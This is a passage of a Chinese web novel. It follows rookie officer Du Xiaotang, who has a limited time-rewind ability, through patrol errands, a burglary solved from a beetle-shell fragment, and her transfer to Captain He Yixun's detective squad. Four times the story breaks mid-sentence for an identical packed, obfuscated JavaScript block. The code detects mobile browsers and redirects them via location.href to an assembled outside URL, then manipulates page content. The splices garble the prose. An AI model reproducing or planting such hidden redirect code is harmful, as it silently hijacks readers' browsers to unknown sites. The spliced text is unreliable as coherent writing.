老大爷倔得很,吹胡子瞪眼,表示“我在这儿摆摊的时候,这消防通道还是个坑呢!” 张建国也不急,笑眯眯地掏钱买了个最大的、金光闪闪的糖孙悟空,转身就塞给了杜晓棠,然后顺势就跟老大爷唠起了家常,从糖稀熬制火候一路聊到家里孙子的学习成绩,三绕两绕,春风化雨,就把摊位挪动半米的事给说妥了。 杜晓棠举着那个栩栩如生、甜得齁人的糖孙悟空,吃也不是,拿也不是,一脸懵圈地站在旁边,活像个造型奇特的警用吉祥物。 张建国回头冲她得意地眨眨眼,压低声音:“学着点,丫头,有时候一根糖比十句大道理都好使。这就叫…糖衣炮弹!” 杜晓棠:“……”好像学到了,又好像什么都没学到,只觉得手里的孙悟空沉甸甸的,充满了生活的智慧(和糖分)。 第三站,更绝。 一只目测体重超标的大肥猫,不知怎么蹿上了老式瓦房的房顶,喵喵叫着转圈,就是不敢下来。 它的主人——一位娇小玲珑、眼泪汪汪的姑娘在下面急得直跳脚。 张建国看了看那陡峭的屋檐高度,又摸了摸自己颇具规模的肚子,果断把目光投向了身边新收的、看起来最身手矫健的徒弟。 “小杜!你年轻!身手好!你上!展现我们人民警察为人民的时候到了!” 杜晓棠看着那颤巍巍的瓦片和那只对她龇牙咧嘴、仿佛在说“你上来试试”的肥猫“祖宗”,嘴角狠狠抽搐了一下。 最后,她是被张建国和另一个看热闹的大叔合力托着,顶上了墙头,才战战兢兢、手脚并用地爬过去,试图安抚那只受惊的肥猫。 结果那猫一点都不领情,一爪子挠在她试图靠近的手背上,幸好她躲得快只挠到了袖子,最后她是连哄带骗加强行搂抱,才把那只死沉、还在骂骂咧咧的“猫祖宗”给弄了下来。 下来时脚下打滑,还差点表演了个平沙落雁式,惹得下面一群看热闹的小屁孩哈哈大笑,鼓掌叫好。 一上午就在这种鸡飞狗跳、哭笑不得的琐事中过去了。 杜晓棠感觉自己没抓到一个贼,没破获一个案,反而像是去居委会实习了一天,身心俱疲。 中午在街边小面馆吃面时,张建国吸溜着面条,笑眯眯地问:“怎么样?小杜,基层工作,感触颇深吧?” 杜晓棠有气无力地戳着碗里的面条,眼神空洞:“深……太深了……”深不见底,深到她开始怀疑人生,思考自己苦读警校两年、重生一世,难道就是为了学怎么哄老太太和抓胖猫吗? 下午,巡逻继续,画风依旧清奇且跑偏。 帮一个哭得鼻涕冒泡的三岁走丢小孩找妈妈,结果小孩方向感极差,指路指反了,带着他们绕了大半个胡同,最后发现他家就在出发点背后。 苦口婆心劝说俩半大孩子别爬墙掏鸟窝,嘴皮子磨破,效果为零,最后张建国无奈,自掏腰包答应给他们一人买一盒玻璃弹珠,才把这俩小祖宗哄下来。 甚至还在张建国的指挥下,帮一位老大娘把她那辆满载废纸箱、不幸陷在泥坑里的三轮车给推了出来,溅了一裤腿的泥点子,形象全无。 夕阳西下,倦鸟归巢。杜晓棠推着那辆嘎吱作响的自行车,看着自己沾满泥土的裤腿、皱巴巴的警服,以及手背上被猫爪勾出的一小道红痕,再想想早上出门时那“除暴安良、匡扶正义”的雄心壮志,不由得长长地、沧桑地叹了口气,仿佛看透了红尘。 “师傅,咱们这一天……真是……丰富多彩,意义非凡啊。”她由衷地、语气复杂地感慨。 张建国哈哈一笑,推着车和她并肩走着,肚腩在夕阳下显得格外慈祥:“这就对了!片儿警嘛,就是啥都得管,啥都得会点儿。你别看这些都是鸡毛蒜皮的小事,处理好了,街坊邻居都记你的好,心里暖和。以后真有什么情况,人家才愿意跟你说道,给你提供线索。平安社区,就是这么一点点、一天天,垒起来的!” 杜晓棠听着,若有所思地点点头。 好像……是这么个道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448654|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理?一种平淡却真实的成就感慢慢取代了之前的哭笑不得。 就在这时,巡逻到了那片新建的职工宿舍楼小区。 几个工人正吭哧吭哧地从楼上往下搬建筑垃圾,灰尘漫天飞舞,管理略显混乱。 张建国顺口吐槽了一句:“这新楼,入住率还没上来十分之一呢,乱七八糟的事倒先来了,物业管理有点跟不上趟啊。” 杜晓棠深有同感,加上这一天下来“接地气”的洗礼,让她忍不住发自肺腑地、带着点小抱怨地接了一句:“是啊是啊!希望这片儿新区千万别再出什么幺蛾子了,安安稳稳的比啥都强!求求了!” 她话音刚落,张建国猛地一个急刹车,自行车轮胎在地上摩擦出刺耳的声音,差点把杜晓棠甩出去。 杜晓棠吓了一跳,赶紧扶住车把:“师傅?怎么了?车坏了?” 张建国缓缓地、缓缓地转过头,眼神复杂得难以形容,像是看到了什么不可思议又极其不祥的东西,他语气沉痛,一字一顿:“小、杜、啊……有些话……它、不、能、乱、说、啊……” “啊?”杜晓棠一脸茫然,完全没反应过来。 仿佛就是为了精准地、毫不留情地印证张建国这玄学般的“预言”,他别在腰带上的那个老掉牙的传呼机,像是被掐住了脖子又突然松手一样,猛地发出一连串极其刺耳、催命般的“滴滴滴滴滴——”的尖鸣! 这声音在傍晚相对安静的街道上显得格外惊悚。 张建国手忙脚乱地拿起传呼机,按亮屏幕一看,脸色瞬间垮得像是被欠了八百万。他把屏幕僵硬地转向杜晓棠,上面清晰地显示着一行简短却触目惊心的字迹: 【新建路职工小区X栋X单元301,入室盗窃,事主在家,速到现场!】 杜晓棠看着那行字,又抬头看看张建国那一脸“你看吧!我就知道!你这张嘴啊!”的悲愤表情,整个人都石化了,手里的自行车把都差点没握住。 不、不是吧?!老天爷!她就随口那么一抱怨啊?!开玩笑的吧?! 张建国重重地、饱经风霜地叹了口气,用力拍了拍她的肩膀,语气沧桑得仿佛瞬间老了十岁:“丫头……以后……尽量……憋着点儿……你这嘴,可能……可能真开过光。” 说完,他脚下一蹬,那辆二八大杠如同离弦之箭般嗖地窜了出去,只留下一句在风中飘散的命令:“还愣着干嘛!出现场了!跟上!” 杜晓棠:“!!!” 她如梦初醒,慌忙骑上车,拼命蹬着那嘎吱作响的链条去追张建国那决绝的背影,心里疯狂呐喊:我没有!我不是!我就是随口抱怨一下啊!老天爷您不能这么玩我啊!这算什么特异功能啊?! 风中似乎还隐约传来张建国一边奋力蹬车一边无奈的嘀咕:“这新人……本事邪门……嘴更邪门……何队将来要是把她弄到刑侦队……有的头疼喽……” 杜晓棠欲哭无泪,悲愤交加,只能把一腔“冤屈”化为蹬车的动力,朝着那该死的、应验了她“乌鸦嘴”的案发现场奋力骑去。 11. 回档第十一天 杜晓棠几乎是使出了吃奶的力气,才勉强跟上了张建国那仿佛装了火箭推进器的二八大杠。 两人一路风驰电掣,冲到新建路职工小区X栋楼下时,已经有派出所的同事拉起了简易警戒线,楼下围了几个看热闹的居民,正指指点点地议论着。 张建国一个漂亮的甩尾停车,差点把车筐里的搪瓷缸子甩出来,他顾不上这些,把车往墙根一靠,就快步走向守在单元门口的同事。 杜晓棠气喘吁吁地停好车,感觉肺都快炸了,赶紧小跑着跟上,一边努力平复呼吸,一边下意识地整理了一下自己的警容——虽然裤腿上的泥点子实在有点显眼。 “什么情况?”张建国沉声问门口的民警。 “301的住户,一对老夫妻,下午出去遛弯,回来就发现门被撬了,屋里被翻得乱七八糟,放在抽屉里的几百块钱现金和一些粮票不见了。老头气得血压都上来了,老太太在屋里哭呢。”民警快速汇报,“已经保护现场了,就等你们来看。” 张建国点点头,从随身挎包里掏出两副白线手套,递了一副给杜晓棠:“戴上,跟着我,多看,少动,更不许瞎摸!记下所有你看到的东西。” “是!师傅!”杜晓棠赶紧接过手套戴上,心情既紧张又有些莫名的兴奋——这才是她想象中的警察工作! 两人一前一后上了三楼。 301的房门虚掩着,门锁有明显的撬压痕迹,木头茬子都翻了出来。 一进门,就看到一片狼藉。 抽屉全被拉了出来,东西倒了一地,衣柜门敞开着,衣服被扔得到处都是。 一位头发花白的老太太正坐在唯一还算干净的沙发上抹眼泪,一位老爷爷则脸色通红地在旁边踱步,嘴里念叨着“天杀的贼”。 张建国先过去安抚了一下两位老人的情绪,简单问了几个问题:什么时候出去的,什么时候回来的,发现门是什么样的,丢了哪些具体东西。 杜晓棠则站在客厅中央,努力让自己镇定下来,开始执行师傅“多看”的命令,她深吸一口气,目光像探照灯一样扫过整个客厅。 混乱,非常的混乱。 嫌疑人似乎是在漫无目的地翻找值钱东西。地上散落着杂物、旧报纸、甚至还有几颗滚落的药丸。 她的目光仔细地掠过地面、桌椅、门把手……试图寻找任何可能留下痕迹的地方,但嫌疑人显然戴了手套,现场又被失主惊慌失措地进入破坏了一些,寻找痕迹非常困难。 张建国问完话,也开始仔细勘查现场,他经验老道,重点查看门锁、窗户、以及被翻动最厉害的区域。 杜晓棠学着师傅的样子,蹲下身,仔细观察地面。 在一片狼藉中,她的目光忽然被靠近门口的地面上一点极其微小的、反光的深色碎屑吸引了。 那不是木头碎屑,也不是玻璃,更像是……某种深色的硬壳昆虫碎片? 她心里一动,想起何队之前在浴室案发现场发现纤维的细致。 她小心翼翼地用戴着手套的手指,极其轻柔地将那几片比芝麻还小的碎屑捏起来,凑到眼前仔细看。颜色深褐,带点金属光泽,质地硬脆……这是什么? “师傅,”她小声叫张建国,把掌心那点碎屑递过去,“门口地上发现的,您看这是什么?” 张建国凑过来,眯着眼看了看,摇摇头:“不认识,不像这屋里该有的东西。先收好,可能是嫌疑人带来的。”他递过来一个小证物袋。 杜晓棠小心地将碎屑装进去,心里有点小得意:看,我也能发现线索! 然而,接下来的勘查却陷入了僵局。 除了那点莫名其妙的碎屑,再没有发现其他有价值的痕迹。窗户完好,是从内部插上的。 嫌疑人看来是撬门入室,得手后又从门离开。 回到所里,做完笔录,整理完证物,那点碎屑被张建国送去给懂行的老民警看,天色已经擦黑,张建国让杜晓棠先下班回家。 走在回家的路上,杜晓棠心里有些闷闷的,抓到了嫌疑人的尾巴,却不知道他是谁。那种无力感又隐隐浮现。 要是……要是能回档到案发前,蹲守在楼下,是不是就能抓住他了? 这个念头一冒出来,就像野草一样疯长。 她下意识地集中精神,尝试呼唤那个蓝色面板。 面板如期浮现,但上面的文字却让她心一沉: 【检测到宿主强烈不甘情绪……目标时间点(案发前4小时)超出当前回档能力上限(24小时)。无法回档。】 【备注:能量严重不足,强行尝试可能导致不可逆损伤,请谨慎。】 杜晓棠:“……” 上限!还有能量不足!还会损伤! 她看着那冰冷的提示,一股深深的挫败感涌上心头。 原来这个能力并非无所不能,它有着严格的限制,而且使用代价高昂,她之前能成功,完全是侥幸,而且透支了自己的身体。 她闷头走回家,连老爸特意给她留的红烧肉都没吃出香味。 第二天一到派出所,杜晓棠就迫不及待地去找张建国:“师傅,昨天那个碎屑是什么?查到了吗?” 张建国脸色有些古怪,从抽屉里拿出那个证物袋:“问了好几个人,老赵见多识广,说这玩意儿……像是某种特别品种的屎壳郎(蜣螂)的壳碎片。” “屎…屎壳郎?!”杜晓棠眼睛瞪得溜圆,差点咬到舌头,嫌疑人带着屎壳郎来作案?这什么癖好?! “嗯,”张建国表情一言难尽,“老赵说,这种深褐色带金属光的,附近好像就东郊那个大型国营农场的堆肥场比较多,那地方……嗯……粪肥比较充足,适合它们生长。” 东郊国营农场?堆肥场? 杜晓棠脑子里仿佛有一道电光闪过!她猛地抓住张建国的胳膊:“师傅!东郊农场!他们是不是经常往咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448655|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这片新建小区送……送蔬菜瓜果什么的?”新建小区配套设施不全,很多单位会直接联系农场送菜。 张建国被她的激动弄得一愣,随即也反应过来:“对啊!农场往这边送菜的车不少!尤其是这种新小区!你的意思是……” “嫌疑人可能是利用送菜车作为掩护进出小区,不容易引起怀疑!甚至他可能就是农场的人,或者跟农场有关的人!”杜晓棠语速飞快,眼睛亮得惊人,“那屎壳郎…可能是不小心从他身上或者车上掉下来的!” 张建国猛地一拍大腿:“有道理!我怎么没想到!快!查昨天下午到现在,有哪些农场或者送菜的车进过这个小区!特别是往X栋附近送过货的!” 线索一旦明确,排查起来就快多了。 很快,他们就锁定了一辆昨天下午来给小区小卖部送鸡蛋和蔬菜的农场三轮摩托车。 据小卖部老板回忆,那开车的年轻人有点面生,而且送货时有点心不在焉,放下货就急匆匆走了,也没像往常一样唠会儿嗑。 顺着车牌和农场的信息,派出所民警很快就在农场宿舍里找到了那个临时顶班来送货的年轻人。 面对突然出现的警察,他吓得脸色惨白,没怎么审问就全交代了。 他因为赌博欠了钱,知道新建小区很多人家刚搬来,防范意识差,就利用送货的机会踩点,然后趁机作案。 那屎壳郎碎片,估计是他之前在堆肥场帮忙时不小心沾到裤腿上的。 案件告破,赃款大部分追回。 当张建国带着杜晓棠把追回的钱和粮票送回301那对老夫妻手上时,老人家激动得差点又要给他们跪下,千恩万谢。 回去的路上,张建国推着自行车,看着身边虽然疲惫却掩不住高兴的杜晓棠,忍不住感叹:“丫头,可以啊!这联想能力!从一坨……呃……一只屎壳郎,能想到送菜车,抓到贼!你这脑子怎么长的?” 杜晓棠被夸得有点不好意思,挠挠头:“瞎猫碰上死耗子……主要还是师傅您指导有方!”她可不敢说这是自己“倒霉”的直觉和瞎琢磨碰巧蒙对的。 张建国哈哈大笑,用力拍了拍她的肩膀:“行了,别谦虚了!这回干得漂亮!看来何队眼光是真毒啊!” 杜晓棠心里甜滋滋的,破案的成就感和被认可的喜悦冲淡了之前的挫败,虽然回档能力有限制,但看来靠自己细致的观察和合理的推理,也是能破案的! 然而,她没注意到的是,派出所里,一个老民警正拿着电话,低声说着:“……对,老张带那个新来的小杜办的,就是何队看上的那个……嗯,心思是挺细,从一点虫子壳破的案……是有点邪乎……但确实能干……” 电话那头,刑侦队办公室里,何亦寻拿着话筒,面无表情地听着,手指无意识地轻轻敲着桌面。 心思细?邪乎?能干? 他放下电话,目光再次落在一旁那份杜晓棠的档案上,眼神深邃。 12. 回档第十二天 杜晓棠在派出所“一战成名”。 凭借一只屎壳郎碎片破了入室盗窃案的事迹,像长了翅膀一样,很快就在分局不大的院子里传开了。 各种版本的流言满天飞。 有说她鼻子比警犬还灵的,有说她眼睛自带显微镜功能的,甚至还有说她家祖传抓贼秘术、能通虫语的……传得神乎其神。 杜晓棠本人倒是没太在意这些,她正忙着消化张建国师傅塞给她的《基层治安调解案例汇编》和《现场勘查入门手册》,日子过得充实且鸡飞狗跳。 然而,一周后的一天下午,她正跟着张建国在调解两家因为一棵歪脖子枣树的归属问题吵得不可开交时,派出所所长亲自找了过来,脸上带着笑,把她叫到了一边。 “小杜啊,好事!”所长拍拍她的肩膀,“分局刑侦队那边下了调令,点名要你过去,何亦寻队长亲自要的人!你可以啊,这么快就被刑侦队看上了!” 杜晓棠脑子里“嗡”的一声,瞬间一片空白,心脏像是被猛地攥紧,然后又疯狂地跳动起来,撞得胸腔咚咚直响。 何队……调令……刑侦队?! 她梦想中的地方!就这么……实现了?! 巨大的惊喜如同海啸般席卷而来,让她一时之间竟说不出话,只会傻乎乎地瞪着所长,嘴巴张了又合,合了又张。 张建国也听到了,走过来,脸上表情复杂,既有不舍,更多的是为她高兴:“好啊!丫头!终于如愿以偿了!我就知道何队不会看走眼!去了那边好好干,别给咱们派出所丢人!”说着,还用力揉了揉她的头发,把她好不容易捋顺的刘海又弄成了鸟窝。 杜晓棠晕乎乎地办完了调动手续,晕乎乎地跟派出所的同事们道别,大家纷纷送上祝福以及“以后破了案别忘了老伙计”的调侃,晕乎乎地抱着自己那点可怜的办公用品,一步三晃地走进了市公安局主楼,找到了刑侦队的办公室。 站在那扇挂着“刑事侦查队”牌子的深色木门前,杜晓棠深吸了好几口气,才鼓起勇气,抬手敲了敲门。 “进。”里面传来一个低沉而熟悉的声音,带着一丝不容置疑的冷硬。 杜晓棠推开门,心脏跳得更快了。 刑侦队的办公室比她想象的要拥挤和……凌乱。 几张旧办公桌拼在一起,上面堆满了高高的卷宗和文件,墙上贴着市区地图和各种案件线索图,空气里弥漫着淡淡的烟草、咖啡和旧纸张混合的味道。 几个穿着警服或便服的男女干警正埋头工作,听到动静,有人抬头瞥了她一眼,眼神里带着审视和一丝好奇。 而何亦寻,就坐在最里面靠窗的一张办公桌后。 他今天没穿警服外套,只穿着一件熨烫平整的白色衬衫,袖子挽到手肘,露出结实的小臂,正低头看着一份文件,眉头微蹙,侧脸线条在从窗户透进来的光线下显得格外清晰冷硬。 听到开门声,他抬起头,目光如同精准的探照灯,瞬间就落在了杜晓棠身上。 杜晓棠感觉自己的呼吸都停滞了一秒,她赶紧立正,挺胸收腹,声音因为紧张而有点发干:“报告何队!治安科杜晓棠,前来报到!” 何亦寻的目光在她脸上停留了两秒,看不出什么情绪,只是几不可查地微微颔首,然后用下巴指了指角落里一张空着的、看起来积了层薄灰的旧桌子:“那是你的位置,先把东西放下。” “是!”杜晓棠如蒙大赦,赶紧小跑过去,把手里的东西放下,又手足无措地站直,等待下一步指示。 办公室里的其他人都默默收回了目光,继续忙自己的,但气氛明显比刚才多了一丝微妙的关注。 何亦寻放下手中的文件,站起身,从身后那排顶到天花板的档案柜里,抱出了厚厚一摞、几乎能把她整个人埋起来的牛皮纸卷宗,“砰”地一声,放在了她的桌子上,激起一小片灰尘。 杜晓棠被那声响和重量吓得缩了缩脖子。 “这些,”何亦寻的声音平淡无波,听不出任何欢迎或者鼓励的意思,“是近五年市内几起悬而未决的旧案卷宗。给你一周时间,全部看完。要求:熟悉案情,梳理线索,找出你认为可能存在疑点或值得重新调查的地方,写一份简要报告给我。” 他顿了顿,目光扫过她瞬间瞪大的眼睛和微微张开的嘴,补充了一句,语气依旧冷硬:“刑侦队不养闲人,更不养只会抓猫和…研究昆虫的,从最基础的看卷宗开始。有问题吗?” 杜晓棠看着那堆得像小山一样、散发着陈旧纸张和尘埃味道的卷宗,感觉刚才的兴奋和喜悦瞬间被压扁了。 一周?看完?还要写报告? 这……这就是传说中的“下马威”吗? 但她不敢有丝毫犹豫,立刻大声回答:“没有问题!保证完成任务!”声音洪亮,试图掩饰内心的打鼓。 何亦寻似乎对她的回答还算满意,几不可查地挑了一下眉梢,没再多说一个字,转身回到了自己的座位,仿佛她不存在一样。 办公室里的其他同事似乎对此习以为常,没人表示惊讶或同情。 杜晓棠深吸一口气,认命地拉开那把吱呀作响的旧椅子,坐了下来。她抽出最上面的一份卷宗,牛皮纸袋上用毛笔写着“XX年XX连环盗窃案(未破)”。 打开卷宗,里面是密密麻麻的文字记录、现场照片、证人证言、物证清单……字迹有些已经模糊,照片也是黑白的,带着岁月的痕迹。 她定了定神,开始埋头阅读。 一开始,她还有些不适应这种枯燥的案头工作,心思浮动。 但很快,她就沉浸了进去。 那些冰冷的文字和图片背后,是一个个真实的案件,受害人的无助,办案人员的艰辛,以及未能擒获凶手的遗憾。 她看得越来越投入,忘记了时间,忘记了腰酸背痛,甚至忘记了喝口水。遇到不明白的术语或程序,她就悄悄记下来,打算找机会问人。 偶尔,她会偷偷抬眼瞄一下何亦寻。 他始终保持着那个姿势,要么在看文件,要么在接电话,要么在和白板前的同事低声讨论,眉头总是微微蹙着,侧脸冷峻,仿佛永远在思考。 他好像……完全忘了她的存在? 杜晓棠心里有点小小的失落,但很快又打起精神。不行!必须做出点成绩来。 她重新埋首于卷宗之中,看得更加仔细。 时间一分一秒过去。 夕阳西下,办公室里的同事陆续下班离开,有人走的时候还好奇地看了她一眼,似乎惊讶于这个新人还在啃卷宗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448656|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何亦寻也站起身,拿起外套,似乎准备离开。 他走到门口,脚步顿了一下,回头看了一眼还趴在卷宗堆里、眉头紧锁、一边看一边在笔记本上写写画画的杜晓棠。 台灯的光勾勒出她专注的侧脸和微微嘟起的嘴唇,看起来竟有几分……难得的沉静。 何亦寻的目光在她身上停留了足足三秒,才收回视线,什么也没说,转身离开,并轻轻带上了门。 办公室里彻底安静下来,只剩下杜晓棠翻动纸页的沙沙声和窗外隐约传来的城市噪音。 她完全没注意到何队的离开,她的全部心神,都被手中一份卷宗里,几份看似不起眼的证人证词吸引住了。 那是三年前一起抢劫伤人案的卷宗。 受害者是一名下夜班的女工,在小巷遇袭,被抢走了手提包和手表,头部受击打重伤,虽抢救过来但失去了部分记忆,无法指认凶手。 案件最终因线索不足而搁置。 卷宗里记录了几位当时路过附近居民的证词,大多语焉不详,没提供什么有价值信息。 但杜晓棠反复对比这几份证词,眉头越皱越紧。 不对劲…… 其中两份证词都提到,案发前后听到了一阵“很响的摩托车排气声”,像是改装过的,但一份说声音是“由远及近然后突然消失”,另一份却说是“突然响起然后由近及远”。 这个矛盾点,在当年的排查记录里被一笔带过,认为是证人紧张记错或者对声音方向判断失误。 但杜晓棠的直觉告诉她,这细微的差别,可能很重要。 如果摩托车是作案工具呢?来和去的方向,可能指向不同的区域! 还有,卷宗里附了一张模糊的现场周边地形草图,草图上标注了几个证人听到声音的大致位置。 杜晓棠拿出尺子比划了一下,发现按照那两个矛盾的说法,摩托车声音的源头似乎都指向了草图边缘的一个废弃厂区路口,但那个路口在当年的排查记录里几乎没被提及! 她的心跳微微加速,一种发现秘密的兴奋感涌上心头。 她赶紧在笔记本上记下这个疑点,并标注出那个废弃厂区路口的位置。 虽然这只是一个微小的发现,甚至可能最终被证明毫无意义,但这是她靠自己,从故纸堆里挖出来的第一个疑点! 她抬起头,揉了揉酸涩的眼睛,才发现窗外天已经黑透了,办公室里只剩下她一个人。 看着桌上那堆厚厚的卷宗和笔记本上那条孤零零的疑点记录,杜晓棠长长地吐出一口气,身体虽然疲惫,但心里却充满了一种踏实而坚定的力量。 刑侦队的第一天,就在这堆故纸堆和尘埃中开始了。 虽然开局就是个“下马威”,但她觉得,自己能行! 她小心地收好卷宗和笔记,关上台灯,脚步轻快地离开了办公室。 心里已经开始盘算,明天该怎么跟何队汇报这个小小的发现…… 而她不知道的是,就在楼下,一辆黑色的轿车里,何亦寻并没有立刻离开。 他坐在驾驶座,手指轻轻敲着方向盘,目光望着办公楼三楼那个刚刚熄灯的窗户,眼神在夜色中显得深邃难明。 这个新人,比他想象的要……沉得住气。 13. 回档第十三天 第二天一早,杜晓棠顶着两个淡淡的黑眼圈,却精神抖擞地出现在了刑警队办公室门口,她手里紧紧攥着那份写满了笔记和发现了疑点的旧案卷宗复印件,心脏因为即将到来的汇报而砰砰直跳。 她深吸一口气,推开门。 办公室里已经有人在了。 几个同事正围在一起低声讨论着什么,何亦寻坐在他的位置上,面前摊开着新的文件,眉头习惯性地微蹙着,手指间夹着一支笔,无意识地转动。 听到开门声,他抬起头,目光扫了过来,落在杜晓棠脸上,停留了一瞬,又垂下眼帘,仿佛只是确认了一下来人是谁,并未有任何表示。 杜晓棠心里那点小兴奋像是被针扎了一下,稍微泄了点气,她定了定神,走到自己的座位放下包,然后鼓起勇气,朝着何亦寻的办公桌走去。 “何队……”她声音不大,带着点试探。 何亦闻声再次抬头,目光平静无波地看着她,没说话,像是在等她继续。 “那个……您昨天让我看的卷宗,我……我看了一部分,”杜晓棠把手里的复印件和笔记递过去,努力让自己的声音听起来镇定,“在XX年抢劫伤人案的卷宗里,我发现了一点……可能有点奇怪的地方。” 何亦寻接过那几页纸,目光落在上面,示意她继续说。 杜晓棠舔了舔有些发干的嘴唇,开始陈述自己的发现:“是关于案发时附近居民听到的摩托车排气声的证词。有两份证词对声音方向的描述是矛盾的,一个说由远及近然后消失,一个说突然响起然后由近及远。当年的记录认为可能是证人记错了。但我对比了证人的位置和现场草图,” 她用手指点着自己画出来的简易方位图,“发现无论哪种说法,声音的源头似乎都指向了案发现场附近一个废弃厂区的路口。而这个路口,在当年的排查记录里几乎没有被提及。” 她说完,屏住呼吸,紧张地看着何亦寻,等待着他的反应。 是觉得她小题大做?还是…… 何亦寻的目光在她画的草图和笔记上停留了片刻,手指在桌面上轻轻敲击了两下,脸上依旧没什么表情。 “就这些?”他开口,声音听不出喜怒。 杜晓棠的心往下一沉。果然……还是太微不足道了吗? “是……目前就发现这些……”她有些沮丧地低下头。 “嗯。”何亦寻应了一声,将那份复印件和笔记放到一边,然后从自己手边拿起另一份薄薄的、看起来更新一些的文件,递给她。 “这份,”他的语气依旧平淡,“是上周发生在城南的一起抢劫未遂案的初步报告。嫌疑人骑摩托车作案,抢夺路人手提包时遭遇反抗,未能得手,驾车逃离。受害人受到惊吓,描述模糊。你去看看,对比一下你刚才说的那个旧案,看看有没有什么关联或者可以并案调查的点。” 杜晓棠愣住了,下意识地接过那份新案卷。 旧案还没说完,就直接塞给她一个新案子?还要做并案分析?这……这跨度也太大了吧?她一个新人,连现场都没去过几次,怎么敢做这种判断? 这分明就是……刁难吧? 她抬起头,看向何亦寻,想从他脸上找到一丝开玩笑或者考验的痕迹,但对方只是面无表情地看着她,眼神深邃,仿佛在说:做不到? 办公室里的其他同事似乎也注意到了这边的动静,有人偷偷投来好奇的目光。 杜晓棠感觉脸颊有点发烫,心里涌上一股不服气的劲头。 刁难就刁难!谁怕谁! 她深吸一口气,挺直腰板,声音比刚才坚定了不少:“是!何队!我这就去看!” 说完,她拿着那份新案卷,转身回到自己的座位,重重地坐下,开始埋头苦读。 何亦寻看着她那副像是要跟案卷决一死战的背影,嘴角极其轻微地动了一下,快得让人无法捕捉,他收回目光,继续处理手头的工作。 杜晓棠把两份案卷摊在桌上,左边是三年前的旧案,右边是上周的新案。 她拿出新的笔记本,开始逐条对比。 时间:旧案深夜,新案傍晚。不同。 地点:旧案城西小巷,新案城南大路。不同。 手法:旧案袭击伤人后抢劫,新案直接抢夺未遂。有差异。 目标:旧案针对下夜班独行女性,新案受害者是下班男性,不同。 交通工具:旧案疑似摩托车(证人证词),新案明确是摩托车(受害人模糊描述)。唯一相似点! 她精神一振,仔细阅读新案中关于摩托车的描述。 受害人说那摩托车声音“特别响,突突突的,很难听”,逃跑速度很快。 这听起来……和旧案证词里提到的“很响的排气声”似乎有点吻合? 但光凭这个,根本不足以并案。 摩托车型号?车牌?嫌疑人特征?全都模糊不清。 杜晓棠皱紧了眉头,感觉像是抓到了一根线头,却怎么也抽不出后面的线。 她不死心,又把旧案卷宗里关于摩托车声音的证词反复看了几遍,甚至试图在脑子里模拟那声音的走向。 突然,她脑子里闪过一个念头! 她猛地抬起头,看向何亦寻的方向,发现他正和另一个同事说话,她犹豫了一下,还是鼓起勇气,拿起两份卷宗和笔记再次走了过去。 “何队,”她等他们谈话间隙,插话进去,“关于摩托车……新旧两起案件的证人都提到排气声‘很响’、‘特别响’。这会不会不是普通的摩托车?比如……是那种经过非法改装的,故意把排气管弄出很大声响的车?如果是同一种改装风格,甚至是同一辆车,是不是有可能?” 何亦寻和那个同事都停了下来,看向她。 那个同事摸着下巴:“改装车?这倒是个思路,那种车一般年轻人喜欢,动静大,招摇过市,要是同一片区出现类似的……” 何亦寻的目光落在杜晓棠脸上,这次停留的时间长了一些。他沉默了几秒,才开口,却不是回答她,而是对老王说:“查一下,最近几个月,特别是案发时间段前后,全市范围内,有关非法改装摩托车、尤其是噪音扰民的投诉记录和处罚记录。重点筛选案发地附近区域。” 老王愣了一下,随即点头:“好!我这就去查!”说完快步走了。 何亦寻这才重新看向杜晓棠,眼神里似乎多了一丝难以言喻的审视:“思路可以,但刑警破案,不能只靠‘可能’和‘觉得’。需要证据链。” 他的语气依旧冷硬,甚至带着点训诫的味道,但杜晓棠却莫名觉得,他好像……并没有否定她的意思? “是!我明白!”她赶紧点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448657|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “回去继续看卷宗。有新的想法,先自己验证,有初步结论再报告。”何亦寻说完,便低下头,不再看她。 杜晓棠:“……是。” 